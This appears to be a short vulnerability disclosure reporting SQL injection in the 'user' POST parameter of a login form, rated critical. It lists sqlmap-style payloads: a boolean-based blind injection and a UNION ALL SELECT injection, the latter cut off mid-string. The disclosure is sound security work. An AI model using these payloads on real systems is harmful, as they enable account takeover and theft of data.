

The user parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the user parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present. The attacker can take administrator account control and also of all accounts and files information on this system, also the malicious user can download all information about this system.

Status: CRITICAL

[+] Payloads:

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Parameter: user (POST)

Type: boolean-based blind

Title: OR boolean-based blind - WHERE or HAVING clause Payload: user=-6693' OR 2950=2950-- qPwW&pwd=d0Y!w7s!B1

Type: UNION query

Title: Generic UNION query (random number) - 6 columns

Payload: user=-7952' UNION ALL SELECT 5650,5650,CONCAT(0x71786a7a71,0x7564497973

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## **Proof and Exploit:**

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